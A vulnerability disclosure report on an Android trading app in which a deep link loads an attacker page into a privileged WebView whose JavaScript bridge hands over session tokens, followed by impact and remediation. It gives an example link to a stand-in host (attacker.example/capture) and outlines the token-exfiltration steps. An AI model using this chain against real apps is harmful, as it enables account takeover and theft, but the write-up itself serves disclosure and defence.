Deep Link URL Injection Loads Attacker Page in Bridge WebView, Full Account Takeover
The Risk
One tap on a link, sent by SMS, email, social post, or QR code, was enough to silently hand the victim's full trading session to an attacker. From there the attacker could read every balance, every trade, and every personal verification field on the account, and place or cancel trades on the victim's behalf. The stolen session stayed valid for weeks from any computer in the world. Anyone who had the app installed and was logged in could be targeted with no further action from them.
The Vulnerability
The Android app's main activity was exported and registered an intent filter for the company's custom URL scheme with no host restriction. One branch of the deep link handler matched app/web and forwarded the entire url query parameter, unvalidated, into a privileged in-app browser activity. That activity unconditionally attached a JavaScript bridge to the loaded page.
The bridge exposed a getAppData() method that returned the live authenticated header map: the session JWT, refresh token, device UUID, and push token. There was no origin check on the bridge. Any page loaded inside the activity could call it and read the headers.
The app did maintain a domain allowlist for company.com sub-bridge calls, but it was only consulted for navigations triggered from inside an already-loaded page. It was never applied to the initial URL handed to the bridge activity. The deep-link entry point therefore bypassed the allowlist entirely.
The Attack
The attack chain was a single tap on any external link of the form:
app-scheme://app/web?url=https%3A%2F%2Fattacker.example%2Fcapture - The victim taps the link from any context (browser, SMS, QR, email)
- Android dispatches the deep link to the exported main activity
- The handler forwards the unvalidated URL into the bridge in-app browser
- The attacker page loads with the bridge attached
- Attacker JavaScript names a global callback, calls
control.getAppData(callbackName), and receives the JWT, refresh token, device UUID, and push token in the response - The page exfiltrates the headers to the attacker's server in the same paint
End-to-end capture took under three seconds from tap. No permissions, no co-installed app, no MITM, no physical access. The deep link is plain text and works from any messaging or browsing context.
The Impact
The captured JWT was replayed from a separate machine with no app session and no cookies. It authenticated 24 read endpoints across the trading API on a researcher-owned test account.
Read access
- Full balance breakdown across all account types and 54 supported assets
- Live spot and futures order history, position history, and trade history
- Full fiat ledger including on-ramp and off-ramp transactions
- Per-symbol margin and leverage configuration, fee tier (revealing VIP status)
- Identity verification status, phone-binding state, investor classification
- Card payment registration state and coupon entitlements
Write access
The same JWT authenticated trade placement, order cancellation, position closure, and order modification endpoints. The test account had no funds and no completed identity verification, so write endpoints rejected at the business-logic layer rather than at the authentication layer. With a funded victim, the same token would place spot or futures trades, cancel every open order, or close every open position at market.
Token lifetime
The captured JWT had a long expiry, valid for many months from the moment of capture. Once stolen, the session remained usable from any IP until the token's own expiry claim, with no device or session binding to invalidate it.
Remediation
- Validate the deep-link
urlparameter against the existing domain allowlist before handing it to the bridge activity. Reject URLs whose host is not on the list - Add a second check inside the bridge activity itself, on every
loadUrl, in case the first check is missed - Only attach the JavaScript bridge when the loaded page's host is on the allowlist. Remove the bridge on navigation to a non-allowlisted host
- Audit every other branch of the main activity's deep-link handler for the same pattern of unvalidated URL forwarding
- Rotate all session tokens after the fix ships. Tokens leaked before the fix remain valid until their own expiry
- Consider shortening session lifetime and binding tokens to a device fingerprint server-side